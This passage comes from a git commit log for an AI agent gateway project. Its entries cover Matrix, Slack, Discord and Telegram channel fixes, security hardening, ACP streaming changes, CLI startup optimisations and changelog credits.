Room IDs (`!xyz`) without `:server` suffix failed the
`includes(':')` check and were sent to `resolveMatrixTargets`, which
called Conduit's `resolveRoom` — returning lowercased IDs. The bot-sdk
emits events with original-case IDs, causing config lookup mismatches
and reply delivery failures (`M_UNKNOWN: non-create event for room of
unknown version`).

Fix: treat `!`-prefixed entries as room IDs directly (skip resolution).
Only resolve `#alias:server` entries.

## Testing

Tested with Conduit homeserver (lightweight Rust Matrix server).
All fixes verified with gateway log tracing:
- `logged in as @arvi:matrix.local` — first successful login
- `room.message` events fire and reach handler
- Room config matching returns `allowed: true`
- Agent generates response and delivers it to Matrix room
2026-03-02 00:15:10 +00:00
Peter Steinberger
43cad8268d fix(security): harden webhook memory guards across channels 2026-03-02 00:12:05 +00:00
Peter Steinberger
1c8ae978d2 test(lobster): preserve execFile in child_process mock 2026-03-02 00:10:51 +00:00
Peter Steinberger
53d10f8688 fix(gateway): land access/auth/config migration cluster
Land #28960 by @Glucksberg (Tailscale origin auto-allowlist).
Land #29394 by @synchronic1 (allowedOrigins upgrade migration).
Land #29198 by @Mariana-Codebase (plugin HTTP auth guard + route precedence).
Land #30910 by @liuxiaopai-ai (tailscale bind/config.patch guard).

Co-authored-by: Glucksberg <markuscontasul@gmail.com>
Co-authored-by: synchronic1 <synchronic1@users.noreply.github.com>
Co-authored-by: Mariana Sinisterra <mariana.data@outlook.com>
Co-authored-by: liuxiaopai-ai <73659136+liuxiaopai-ai@users.noreply.github.com>
2026-03-02 00:10:51 +00:00
Peter Steinberger
8e6b3ade3e docs(changelog): record session lifecycle and diagnostics fixes 2026-03-02 00:07:47 +00:00
Peter Steinberger
41cc46bbb4 feat(diagnostics): add configurable stuck-session warning threshold 2026-03-02 00:07:29 +00:00
Peter Steinberger
d729ab2150 fix(session): harden usage accounting and memory flush recovery 2026-03-02 00:07:29 +00:00
Vincent Koc
ee96e1751e docs(changelog): add missing contributor credits for 2026.3.1 (#31079)
* changelog: credit @BUGKillerKing for #29315

* changelog: credit @liuweifly for #14674

* changelog: credit @Sid-Qin for #29709

* changelog: credit @lailoo for #21808

* changelog: credit @openperf for #26259

* changelog: credit @icesword0760 for #28959

* changelog: credit @cowboy129 for #28529

* changelog: credit @yfge for #17798

* changelog: credit @kcinzgg for #27325

* changelog: credit @guoqunabc for #28494

* changelog: credit @WilsonLiu95 for #12755

* changelog: credit @qiangu for #18529

* changelog: credit @lailoo for unreleased #27616

* changelog: credit @tumf for unreleased #18642

* changelog: normalize unreleased #24789 credit handle

* changelog: fill unreleased #24435 credit

* changelog: fill unreleased #25090 credit

* changelog: fill unreleased #29098 credit (entry 1)

* changelog: fill unreleased #29098 credit (entry 2)

* changelog: credit @liuxiaopai-ai for unreleased #30567

* changelog: credit @graysurf for unreleased #23169

* changelog: credit @pablohrcarvalho for unreleased #10686

* changelog: credit @Glucksberg for unreleased #21715

* changelog: credit @liuxiaopai-ai for unreleased #30586

* changelog: add missing credits for 2026.2.26

* changelog: add missing credits for 2026.2.25

* changelog: add missing credits for 2026.2.24

* changelog: add missing credits for 2026.2.23

* changelog: add missing credits for 2026.2.22
2026-03-01 16:04:55 -08:00
Peter Steinberger
a62d55b283 test(discord): cover DM command decision flow 2026-03-02 00:00:05 +00:00
Peter Steinberger
75596e9370 refactor(discord): unify DM command auth handling 2026-03-02 00:00:05 +00:00
Peter Steinberger
12c1257023 fix(acpx): share windows wrapper resolver and add strict hardening mode 2026-03-01 23:57:06 +00:00
Peter Steinberger
881ac62005 test(discord): stabilize model picker timeout assertions 2026-03-01 23:53:07 +00:00
Peter Steinberger
ee03ade0d6 fix(agents): harden tool-name normalization and transcript repair
Landed from contributor PRs #30620 and #30735 by @Sid-Qin, plus #30881 by @liuxiaopai-ai.

Co-authored-by: SidQin-cyber <sidqin0410@gmail.com>
Co-authored-by: liuxiaopai-ai <73659136+liuxiaopai-ai@users.noreply.github.com>
2026-03-01 23:51:54 +00:00
Peter Steinberger
50e2674dfc fix(discord): unify dm command auth gating 2026-03-01 23:50:24 +00:00
Peter Steinberger
577becf1ad fix(plugins): prioritize bundled duplicates in auto-discovery
Landed from contributor PR #29710 by @Sid-Qin.

Co-authored-by: SidQin-cyber <sidqin0410@gmail.com>
2026-03-01 23:48:30 +00:00
Peter Steinberger
5056b6438d fix(discord): harden reconnect recovery and preserve message delivery
Landed from contributor PR #29508 by @cgdusek.

Co-authored-by: Charles Dusek <cgdusek@gmail.com>
2026-03-01 23:46:07 +00:00
Peter Steinberger
a0d2f6e4fe docs(changelog): note skills security hardening 2026-03-01 23:45:41 +00:00
Peter Steinberger
23f434f98d fix(skills): constrain plugin skill paths 2026-03-01 23:45:41 +00:00
Peter Steinberger
4614222572 fix(skills): validate installer metadata specs 2026-03-01 23:45:41 +00:00
edincampara
577f2fa540 fix(docker): harden /app/extensions permissions to 755 (#30191)
* fix(docker): harden /app/extensions permissions to 755

Bundled extension directories shipped as world-writable (mode 777)
in the Docker image. The plugin security scanner blocks any world-
writable path with:

  WARN: blocked plugin candidate: world-writable path
        (/app/extensions/memory-core, mode=777)

Add chmod -R 755 /app/extensions in the final USER root RUN step so
all bundled extensions are readable but not world-writable. This runs
as root before switching back to the node user, matching the pattern
already used for chmod 755 /app/openclaw.mjs.

Fixes #30139

* fix(docker): normalize plugin and agent path permissions

* docs(changelog): add docker permissions entry for #30191

* Update CHANGELOG.md

---------

Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
2026-03-01 15:45:21 -08:00
Peter Steinberger
9e6e7a3d69 fix(acpx): harden windows cmd wrapper spawning 2026-03-01 23:44:36 +00:00
Peter Steinberger
13bb80df9d fix(agents): land #20840 cross-channel message-tool actions from @altaywtf
Include scoped cross-channel action/description behavior, regression tests, changelog note, and make Ollama discovery tests URL-scoped to avoid env-dependent fetch interference.

Co-authored-by: Altay <altay@hey.com>
2026-03-01 23:37:55 +00:00
Peter Steinberger
912ddba81e fix(macos): harden exec approvals socket path and permissions 2026-03-01 23:37:11 +00:00
Peter Steinberger
6c5633598e fix(security): harden clawlog command execution 2026-03-01 23:33:13 +00:00
Peter Steinberger
ccb415b69a fix: align ACP permission docs defaults (#31044) (thanks @barronlroth) 2026-03-01 23:30:39 +00:00
Barron Roth
bed1cb9600 docs(acp): add permission configuration section and troubleshooting entries
Document permissionMode and nonInteractivePermissions plugin config
keys for the acpx backend. Add troubleshooting entries for:
- Permission prompt errors in non-interactive ACP sessions
- Silent session failures from swallowed permission errors
- Stalled ACP sessions that never report completion

Relates to #29195

AI-assisted (lightly tested)
2026-03-01 23:30:39 +00:00
Peter Steinberger
6a80e9db05 fix(browser): harden writable output paths 2026-03-01 23:25:13 +00:00
Peter Steinberger
51bccaf988 chore(changelog): note internal events and ingress hardening 2026-03-01 23:12:09 +00:00
Peter Steinberger
b99666a47a fix(security): harden inbound metadata sentinel stripping 2026-03-01 23:11:48 +00:00
Peter Steinberger
8e48520d74 fix(channels): align command-body parsing sources 2026-03-01 23:11:48 +00:00
Peter Steinberger
4c43fccb3e feat(agents): use structured internal completion events 2026-03-01 23:11:48 +00:00
Peter Steinberger
738dd9aa42 fix(agents): type openai websocket warmup passthrough 2026-03-01 23:10:08 +00:00
Vincent Koc
eb20793550 Docs: add all unlisted docs routes to navigation (#31027)
* Docs: add missing platform pages to nav

* Docs: include all unlisted docs routes in nav

* Docs nav: classify routes by area and remove catch-all groups

* Docs nav: remove ja-JP AGENTS page entry

* Docs ja-JP: remove AGENTS translation workspace page

* Docs nav: remove refactor plans group

* Docs nav: remove .dev template pages

* Docs nav: remove operations hubs group
2026-03-01 15:09:35 -08:00
Peter Steinberger
0f5348acb2 test(config): reject discord open DM with empty allowFrom 2026-03-01 23:08:37 +00:00
Peter Steinberger
d1615eb35f feat(openai): add websocket warm-up with configurable toggle 2026-03-01 22:45:03 +00:00
Agent
bc9f357ad7 test: fix fetch mock typing casts 2026-03-01 22:44:28 +00:00
Agent
002539c01e fix(security): harden sandbox novnc observer flow 2026-03-01 22:44:28 +00:00
Peter Steinberger
4ab13eca4d test(agents): port OpenAI websocket coverage from #24911
Co-authored-by: Jonathan Jing <achillesjing@gmail.com>
2026-03-01 22:38:56 +00:00
Vincent Koc
eee870576d doctor: warn on macOS cloud-synced state directories (#31004)
* Doctor: detect macOS cloud-synced state directories

* Doctor tests: cover cloud-synced macOS state detection

* Docs: note cloud-synced state warning in doctor guide

* Docs: recommend local macOS state dir placement

* Changelog: add macOS cloud-synced state dir warning

* Changelog: credit macOS cloud state warning PR

* Doctor state: anchor cloud-sync roots to macOS home

* Doctor tests: cover OPENCLAW_HOME cloud-sync override

* Doctor state: prefer resolved target for cloud detection

* Doctor tests: cover local-target cloud symlink case
2026-03-01 14:35:46 -08:00
Agent
063c4f00ea docs: clarify Anthropic context1m long-context requirements 2026-03-01 22:35:26 +00:00
Agent
a374325fc2 docs(security): clarify local link-priming reports as out-of-scope 2026-03-01 22:34:32 +00:00
Peter Steinberger
8da86f6995 chore(changelog): note openai websocket-first streaming 2026-03-01 22:33:21 +00:00
Peter Steinberger
7ced38b5ef feat(agents): make openai responses websocket-first with fallback 2026-03-01 22:32:37 +00:00
Vincent Koc
38da2d076c CLI: add root --help fast path and lazy channel option resolution (#30975)
* CLI argv: add strict root help invocation guard

* Entry: add root help fast-path bootstrap bypass

* CLI context: lazily resolve channel options

* CLI context tests: cover lazy channel option resolution

* CLI argv tests: cover root help invocation detection

* Changelog: note additional startup path optimizations

* Changelog: split startup follow-up into #30975 entry

* CLI channel options: load precomputed startup metadata

* CLI channel options tests: cover precomputed metadata path

* Build: generate CLI startup metadata during build

* Build script: invoke CLI startup metadata generator

* CLI routes: preload plugins for routed health

* CLI routes tests: assert health plugin preload

* CLI: add experimental bundled entry and snapshot helper

* Tools: compare CLI startup entries in benchmark script

* Docs: add startup tuning notes for Pi and VM hosts

* CLI: drop bundled entry runtime toggle

* Build: remove bundled and snapshot scripts

* Tools: remove bundled-entry benchmark shortcut

* Docs: remove bundled startup bench examples

* Docs: remove Pi bundled entry mention

* Docs: remove VM bundled entry mention

* Changelog: remove bundled startup follow-up claims

* Build: remove snapshot helper script

* Build: remove CLI bundle tsdown config

* Doctor: add low-power startup optimization hints

* Doctor: run startup optimization hint checks

* Doctor tests: cover startup optimization host targeting

* Doctor tests: mock startup optimization note export

* CLI argv: require strict root-only help fast path

* CLI argv tests: cover mixed root-help invocations

* CLI channel options: merge metadata with runtime catalog

* CLI channel options tests: assert dynamic catalog merge

* Changelog: align #30975 startup follow-up scope

* Docs tests: remove secondary-entry startup bench note

* Docs Pi: add systemd recovery reference link

* Docs VPS: add systemd recovery reference link
2026-03-01 14:23:46 -08:00
Agent
dcd19da425 refactor: simplify sandbox boundary open flow 2026-03-01 21:49:42 +00:00
Agent
3be1343e00 fix: tighten sandbox mkdirp boundary checks (#30610) (thanks @glitch418x) 2026-03-01 21:41:47 +00:00
glitch418x
687f5779d1 sandbox: allow directory boundary checks for mkdirp 2026-03-01 21:41:47 +00:00
Bob
4fc7ecf088 ACP: force sessions_spawn as the only harness thread creation path (#30957)
* ACP: enforce sessions_spawn-only thread creation for harness spawns

* skills(acpx): require acp-router preflight for ACP thread spawns

* fix: enforce ACP thread spawn via sessions_spawn only (#30957) (thanks @dutifulbob)

---------

Co-authored-by: Onur <2453968+osolmaz@users.noreply.github.com>
2026-03-01 22:41:06 +01:00
Agent
e4d22fb07a fix(browser): fail closed browser auth bootstrap 2026-03-01 21:40:16 +00:00
Agent
3a93a7bb1e fix(security): enforce auth for abort triggers and models 2026-03-01 21:30:07 +00:00
Peter Steinberger
c89836a251 test: harden flaky timeout and resolver specs 2026-03-01 21:30:07 +00:00
Sid
c1428e8df9 fix(gateway): prevent /api/* routes from returning SPA HTML when basePath is empty (#30333)
Merged via squash.

Prepared head SHA: 12591f304e
Co-authored-by: Sid-Qin <201593046+Sid-Qin@users.noreply.github.com>
Co-authored-by: velvet-shark <126378+velvet-shark@users.noreply.github.com>
Reviewed-by: @velvet-shark
2026-03-01 22:23:54 +01:00
Vincent Koc
e6049345db fix(telegram): preserve HTTP proxy env in global dispatcher workaround (#29940)
* fix(telegram): preserve HTTP proxy env in global dispatcher workaround

* telegram: document request-scoped proxy dispatcher constraint

* telegram: assert proxy path never mutates global dispatcher

* changelog: credit telegram proxy env regression fix

---------

Co-authored-by: Rylen Anil <rylen.anil@gmail.com>
2026-03-01 13:21:01 -08:00
Agent
e7cafed424 chore(release): bump version to 2026.3.1 2026-03-01 21:14:17 +00:00
Vincent Koc
94a5d28d26 CI: remove Vitest JSON report artifacts (#30976)
* CI: remove vitest JSON report upload steps

* Tests: stop injecting vitest JSON reporter

* Tests: remove vitest slowest report script
2026-03-01 13:03:06 -08:00
Vincent Koc
79f818e8a2 Status scan: guard deferred promise rejections 2026-03-01 12:56:56 -08:00
Vincent Koc
125ea585dd CLI routes tests: assert status plugin preload 2026-03-01 12:56:56 -08:00
Vincent Koc
266084f4c8 CLI routes: preload plugins for status security parity 2026-03-01 12:56:56 -08:00
Vincent Koc
4b027927cf Changelog: credit startup performance reports 2026-03-01 12:56:56 -08:00
Vincent Koc
23c6e9836e Status scan: overlap non-JSON async checks 2026-03-01 12:56:56 -08:00
Vincent Koc
c161e141f3 Docs tests: add CLI startup benchmark usage 2026-03-01 12:56:56 -08:00
Vincent Koc
bdd59e0149 Scripts: add CLI startup benchmark harness 2026-03-01 12:56:56 -08:00
Vincent Koc
08ea7f0cf6 Docs VPS: add startup tuning for small hosts 2026-03-01 12:56:56 -08:00
Vincent Koc
86e4f3e7e2 Docs Pi: add startup tuning for compile cache 2026-03-01 12:56:56 -08:00
Vincent Koc
8c4071f36a Entry: enable Node compile cache on startup 2026-03-01 12:56:56 -08:00
Vincent Koc
e4b4fd5ce8 Entry: avoid top-level return in version fast-path 2026-03-01 12:56:56 -08:00
Vincent Koc
7aa9267d00 Status scan: fix JSON channels result typing 2026-03-01 12:56:56 -08:00
Vincent Koc
ba0aa3cfae Status scan: add parallel JSON fast path 2026-03-01 12:56:56 -08:00
Vincent Koc
b0a73ae773 Status command: parallelize JSON security audit 2026-03-01 12:56:56 -08:00
Vincent Koc
07da843378 CLI argv: test root version fast-path detection 2026-03-01 12:56:56 -08:00
Vincent Koc
153adc4c8f Entry: fast-path root version command 2026-03-01 12:56:56 -08:00
Vincent Koc
86a91cc01a CLI argv: detect root-only version invocation 2026-03-01 12:56:56 -08:00
Vincent Koc
3c4cdf72c9 CLI routes: test conditional plugin preload behavior 2026-03-01 12:56:56 -08:00
Vincent Koc
22653c0e27 Status scan: skip channel table work in JSON mode 2026-03-01 12:56:56 -08:00
Vincent Koc
af12e7bdec CLI route: support argv-aware plugin preloading 2026-03-01 12:56:56 -08:00
Vincent Koc
5e061fd8b9 CLI routes: skip plugin preload for health 2026-03-01 12:56:56 -08:00
Ben Gitter
5d7314db22 fix(control-ui): include basePath in default WebSocket URL (#30228)
Merged via squash.

Prepared head SHA: a56d8d441c
Co-authored-by: gittb <8284364+gittb@users.noreply.github.com>
Co-authored-by: velvet-shark <126378+velvet-shark@users.noreply.github.com>
Reviewed-by: @velvet-shark
2026-03-01 21:01:43 +01:00
Onur Solmaz
907c09e1d5 fix: add changelog entry for ACPX stream update (#30036) (thanks @osolmaz) 2026-03-01 20:39:24 +01:00
Onur
b12c909ea2 ACPX: pin 0.1.15 and tolerate missing --version in health check 2026-03-01 20:39:24 +01:00
Onur
f81c2e75d2 Tests: make acpx config path assertions cross-platform 2026-03-01 20:39:24 +01:00
Onur
ac5d7ee4cd Tests: normalize HOME expansion assertion on Windows 2026-03-01 20:39:24 +01:00
Onur
18033d3962 Cron+Slack: fix cooldown omission and cache cap enforcement 2026-03-01 20:39:24 +01:00
Onur
8292401719 ACP: rename stream char limits to output/sessionUpdate 2026-03-01 20:39:24 +01:00
Onur
4664d13857 Docs: remove temp ACP planning files 2026-03-01 20:39:24 +01:00
Onur
053e5eb506 ACP: remove maxMetaEventsPerTurn limit 2026-03-01 20:39:24 +01:00
Onur
6c08652c8d Tests: use preferred tmp dir in acpx runtime fixtures 2026-03-01 20:39:24 +01:00
Onur
ca31683ca3 Tests: fix dispatch-acp mock typings for tsgo 2026-03-01 20:39:24 +01:00
Onur
63e607db9b ACPX: pin plugin dependency to 0.1.14 2026-03-01 20:39:24 +01:00
Onur
f4538b22f7 ACP: fix projector dedupe regressions 2026-03-01 20:39:24 +01:00
Onur
be73eb28b3 ACP: improve live text batching readability 2026-03-01 20:39:24 +01:00
Onur
dd2fcade3e ACP: make live mode flush incremental chunks 2026-03-01 20:39:24 +01:00
Onur
43c57005a6 ACP: start typing lifecycle at turn start and harden delivery 2026-03-01 20:39:24 +01:00
Onur
c8b958e573 ACP: add hidden-boundary separator for hidden tool events 2026-03-01 20:39:24 +01:00
Onur
acd6ddb829 ACP: hide tool_call tags by default 2026-03-01 20:39:24 +01:00
Onur
5232f96d59 Agents: use tool emoji for ACP tool_call summaries 2026-03-01 20:39:24 +01:00
Onur
4324d84edd Docs: add ACP thread tool-editing final-only implementation plan 2026-03-01 20:39:24 +01:00
Onur
c3a1fe01ae ACP: make final_only defer all projected output 2026-03-01 20:39:24 +01:00
Onur
4a82012461 ACP: default stream delivery to final_only 2026-03-01 20:39:24 +01:00
Onur
4e2efaf659 ACP: simplify stream config to repeatSuppression 2026-03-01 20:39:24 +01:00
Onur
79fcc8404e Scripts: add openclaw driver mode to discord ACP smoke 2026-03-01 20:39:24 +01:00
Onur
752398a6ba Refactor: split ACP dispatch delivery and settings 2026-03-01 20:39:24 +01:00
Onur
54ed2efc20 Tests: complete ACP meta dedupe coverage 2026-03-01 20:39:24 +01:00
Onur
9cfc630be9 ACPX: sync main ACP parser changes onto configurable-command branch 2026-03-01 20:39:24 +01:00
Onur
cf3e4d2aef Docs: restore ACP meta-event dedupe implementation plan 2026-03-01 20:39:24 +01:00
Onur
2466a9bb13 ACP: carry dedupe/projector updates onto configurable acpx branch 2026-03-01 20:39:24 +01:00
Onur
f88bc09f85 ACPX: ignore replayed updates outside active prompt 2026-03-01 20:39:24 +01:00
Onur
d669b27a45 ACPX extension: split ACP stream parser and test fixtures 2026-03-01 20:39:24 +01:00
Onur
bdc355d0b0 ACPX extension: parse pure ACP JSON-RPC stream 2026-03-01 20:39:24 +01:00
Onur
9cae5107d1 ACPX extension: support acpx any-version probe via --help 2026-03-01 20:39:24 +01:00
Onur
921ebfb25e ACPX plugin: allow configurable command and expected version 2026-03-01 20:39:24 +01:00
Glucksberg
134296276a fix(memory): discard stdout for qmd update/embed to prevent output cap failure (openclaw#28900) thanks @Glucksberg
Verified:
- pnpm install --frozen-lockfile
- pnpm build
- pnpm check
- pnpm test:macmini

Co-authored-by: Glucksberg <80581902+Glucksberg@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-01 12:16:50 -06:00
pablohrcarvalho
11d34700c0 fix(slack): use thread-level sessions for channels to prevent context mixing (#10686)
* fix(slack): use thread-level sessions for channels to prevent context mixing

All messages in a Slack channel share a single session, causing context from
different threads to mix together. When users have multiple conversations in
different threads of the same channel, the agent sees combined context from
all threads, leading to confused responses.

Session key was: `slack:channel:${channelId}` (no thread identifier)

1. **Thread-level session keys**: Each message in channels/groups now gets
   its own session based on thread_ts:
   - Thread replies: use the parent thread's ts
   - New messages: use the message's own ts (becomes thread root)
   - DMs: unchanged (no thread-level sessions needed)

   New session key format: `slack:channel:${channelId}🧵${threadTs}`

2. **Increased thread cache TTL**: Changed from 60 seconds to 6 hours.
   Users often pause conversations, and the short TTL caused unnecessary
   API calls and thread resolution failures.

3. **Increased cache size**: Changed from 500 to 10,000 entries to support
   busy workspaces with many active threads.

1. Create two threads in the same Slack channel
2. In Thread A: tell the bot your name is "Alice" and ask about "billing"
3. In Thread B: tell the bot your name is "Bob" and ask about "API"
4. Reply in Thread A and ask "what's my name?" - should say "Alice"
5. Check sessions: each thread should have a unique session key with 🧵 suffix

Fixes context bleed issues related to #758

* fix(slack): also update resolveSlackSystemEventSessionKey for thread-level sessions

The context.ts file has a separate function for resolving session keys for
system events (reactions, file uploads, etc.). This also needs to support
thread-level sessions to ensure all Slack events route to the correct
thread-specific session.

Added threadTs and messageTs parameters to resolveSlackSystemEventSessionKey
and updated the implementation to use thread-level keys for channels/groups.

* fix(slack): preserve DM thread sessions for thread replies

The previous change broke thread-level sessions for DMs that have threads.
DMs with parent_user_id should still get thread-level sessions.

- For channels/groups: always use thread-level sessions
- For DMs: use thread-level sessions only when isThreadReply is true

* fix(slack): use thread-level sessionKey for previousTimestamp

Fixes the bug where previousTimestamp was read from the base channel
session key (route.sessionKey) instead of the resolved thread-level
sessionKey. This caused the elapsed-time calculation in the inbound
envelope to always pull from the channel session rather than the
thread session.

Also adds regression tests for the thread-level session key behavior.

Co-authored-by: Tony Dehnke <tdehnke@gmail.com>

* fix(slack): narrow #10686 to surgical thread-session patch

* test(slack): satisfy context/account typing in thread-session tests

* docs(changelog): record surgical slack thread-session fix

---------

Co-authored-by: Pablo Carvalho <pablo@telnyx.com>
Co-authored-by: Tony Dehnke <tdehnke@gmail.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-01 12:04:57 -06:00
Tak Hoffman
a179a0d371 Slack onboarding: improve token help note with manifest option (openclaw#30846) thanks @yzhong52
Verified:
- pnpm install --frozen-lockfile
- pnpm build
- pnpm check
- pnpm test:macmini

Co-authored-by: yzhong52 <3712071+yzhong52@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-01 11:57:30 -06:00
msvechla
2c5b898eea feat(slack): add download-file action for on-demand file attachment access (#24723)
* feat(slack): add download-file action for on-demand file attachment access

Adds a new `download-file` message tool action that allows the agent to
download Slack file attachments by file ID on demand. This is a prerequisite
for accessing images posted in thread history, where file attachments are
not automatically resolved.

Changes:
- Add `files` field to `SlackMessageSummary` type so file IDs are
  visible in message read results
- Add `downloadSlackFile()` to fetch a file by ID via `files.info`
  and resolve it through the existing `resolveSlackMedia()` pipeline
- Register `download-file` in `CHANNEL_MESSAGE_ACTION_NAMES`,
  `MESSAGE_ACTION_TARGET_MODE`, and `listSlackMessageActions`
- Add `downloadFile` dispatch case in `handleSlackAction`
- Wire agent-facing `download-file` → internal `downloadFile` in
  `handleSlackMessageAction`

Closes #24681

* style: fix formatting in slack-actions and actions

* test(slack): cover download-file action path

---------

Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-01 11:45:05 -06:00
graysurf
eddaf19478 fix(slack): guard allow-from store resolution in monitor auth (#21967) 2026-03-01 11:42:58 -06:00
Oleksandr Zakotyanskyi
2a409bbba0 fix(slack): replace files.uploadV2 with 3-step upload flow to fix missing_scope error (#17558)
* fix(slack): replace files.uploadV2 with 3-step upload flow

files.uploadV2 from @slack/web-api internally calls the deprecated
files.upload endpoint, which fails with missing_scope even when
files:write is correctly granted in the bot token scopes.

Replace with Slack's recommended 3-step upload flow:
1. files.getUploadURLExternal - get presigned URL + file_id
2. fetch(upload_url) - upload file content
3. files.completeUploadExternal - finalize & share to channel/thread

This preserves all existing behavior including thread replies via
thread_ts and caption via initial_comment.

* fix(slack): harden external upload flow and tests

---------

Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-01 11:37:18 -06:00
Sid
39a45121d9 fix(discord,slack): add SSRF policy for media downloads in proxy environments (#25475)
* fix(discord,slack): add SSRF policy for media downloads in proxy environments

Discord and Slack media downloads (attachments, stickers, forwarded
images) call fetchRemoteMedia without any ssrfPolicy. When running
behind a local transparent proxy (Clash, mihomo, Shadowrocket) in
fake-ip mode, DNS returns virtual IPs in the 198.18.0.0/15 range,
which the SSRF guard blocks.

Add per-channel SSRF policy constants—matching the pattern already
applied to Telegram on main—that allowlist known CDN hostnames and
set allowRfc2544BenchmarkRange: true.

Refs #25355, #25322

Co-authored-by: Cursor <cursoragent@cursor.com>

* chore(slack): keep raw-fetch allowlist line anchors stable

---------

Co-authored-by: Cursor <cursoragent@cursor.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-01 11:30:10 -06:00
Jc Miñarro
b9e07ad7b4 docs(slack): add missing DM scopes to manifest (openclaw#29999) thanks @JcMinarro
Verified:
- pnpm install --frozen-lockfile
- pnpm build
- pnpm check
- pnpm test:macmini

Co-authored-by: JcMinarro <4047514+JcMinarro@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-01 11:25:52 -06:00
calder-sandy
93ac2b43fb feat(slack): per-thread session isolation for DM auto-threading (#26849)
* feat(slack): create thread sessions for auto-threaded DM messages

When replyToMode="all", every top-level message starts a new Slack thread.
Previously, only subsequent replies in that thread got an isolated session
(via 🧵<threadTs> suffix). The initial message fell back to the base
DM session, mixing context across unrelated conversations.

Now, when replyToMode="all" and a message is not already a thread reply,
the message's own ts is used as the threadId for session key resolution.
This gives the initial message AND all subsequent thread replies the same
isolated session.

This enables per-thread session isolation for Slack DMs — each new message
starts its own thread and session, keeping conversations separate.

* Slack: fix auto-thread session key mode check and add changelog

---------

Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-01 11:24:45 -06:00
Jin Kim
746688ddc9 Slack: redact and cap interaction system events (#28982) 2026-03-01 11:24:43 -06:00
tumf
e0571399ac fix(slack): reject HTML responses when downloading media (#4665)
* fix(slack): reject HTML responses when downloading media

Slack sometimes returns HTML login pages instead of binary media when
authentication fails or URLs expire. This change detects HTML responses
by checking content-type header and buffer content, then skips to the
next available file URL.

* fix: format import order and add braces to continue statement

* chore: format Slack media tests

* chore: apply formatter to Slack media tests

* fix(slack): merge auth-header forwarding and html media guard

---------

Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-01 11:20:25 -06:00
Glucksberg
6dbbc58a8d fix(slack): use SLACK_USER_TOKEN when connecting to Slack (#28103)
* fix(slack): use SLACK_USER_TOKEN when connecting to Slack (closes #26480)

* test(slack): fix account fixture typing for user token source

---------

Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-01 11:05:35 -06:00
dan bachelder
46da76e267 fix(slack): honor replyToModeByChatType when ThreadLabel exists (#26251)
* fix(slack): honor direct replyToMode when thread label exists

ThreadLabel is a session/conversation label, not a reliable indicator
of an actual Slack thread reply. Using it to force replyToMode="all"
overrides replyToModeByChatType.direct="off" in DMs.

Switch to MessageThreadId which indicates a real thread target is
available, preserving expected behavior: thread replies stay threaded,
normal DMs respect the configured mode.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* Slack: add changelog for threading tool context fix

---------

Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-01 11:02:06 -06:00
Dennis Rankin
a28a4b1b61 feat: detect stale Slack sockets and auto-restart (#30153)
* feat: detect stale Slack sockets and auto-restart

Slack Socket Mode connections can silently stop delivering events while
still appearing connected (health checks pass, WebSocket stays open).
This "half-dead socket" problem causes messages to go unanswered.

This commit adds two layers of protection:

1. **Event liveness tracking**: Every inbound Slack event (messages,
   reactions, member joins/leaves, channel events, pins) now calls
   `setStatus({ lastEventAt, lastInboundAt })` to update the channel
   account snapshot with the timestamp of the last received event.

2. **Health monitor stale socket detection**: The channel health monitor
   now checks `lastEventAt` against a configurable threshold (default
   30 minutes). If a channel has been running longer than the threshold
   and hasn't received any events in that window, it is flagged as
   unhealthy and automatically restarted — the same way disconnected
   or crashed channels are already handled.

The restart reason is logged as "stale-socket" for observability, and
the existing cooldown/rate-limit logic (3 restarts/hour max) prevents
restart storms.

* Slack: gate liveness tracking to accepted events

---------

Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-01 10:58:21 -06:00
lailoo
43ddb41354 fix(slack): extract attachment text for bot messages with empty text (#27616) (#27642)
Verified:
- pnpm install --frozen-lockfile
- pnpm build
- pnpm check
- pnpm test:macmini
2026-03-01 10:49:51 -06:00
Miguel Miranda Dias
949faff5ce fix(slack): reconnect socket mode after disconnect (#27232)
* fix(slack): reconnect socket mode after disconnect

* fix(slack): avoid orphaned disconnect waiters on start failure

* docs(changelog): record slack socket reconnect reliability fix

---------

Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-01 10:42:45 -06:00
graysurf
a54b85822c Handle transient Slack request errors without crashing the gateway (openclaw#23787) thanks @graysurf
Verified:
- pnpm install --frozen-lockfile
- pnpm build
- pnpm check
- pnpm test:macmini

Co-authored-by: graysurf <10785178+graysurf@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-01 10:42:42 -06:00
Luis Conde
bd78a74298 feat(slack): track thread participation for auto-reply without @mention (#29165)
* feat(slack): track thread participation for auto-reply without @mention

* fix(slack): scope thread participation cache by accountId and capture actual reply thread ts

* fix(slack): capture reply thread ts from all delivery paths and only after success

* Slack: add changelog for thread participation cache behavior

---------

Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-01 10:42:12 -06:00
Peter Machona
dfbdab5a29 fix(slack): map legacy streaming=false to off (openclaw#26020) thanks @chilu18
Verified:
- pnpm build
- pnpm check
- pnpm test:macmini

Co-authored-by: chilu18 <7957943+chilu18@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-01 10:21:25 -06:00
dan bachelder
9ae94390b9 fix(slack): resolve replyToMode per-message using chat type (#24717)
* fix(slack): resolve replyToMode per-message using chat type

The Slack monitor resolved replyToMode once at startup from the
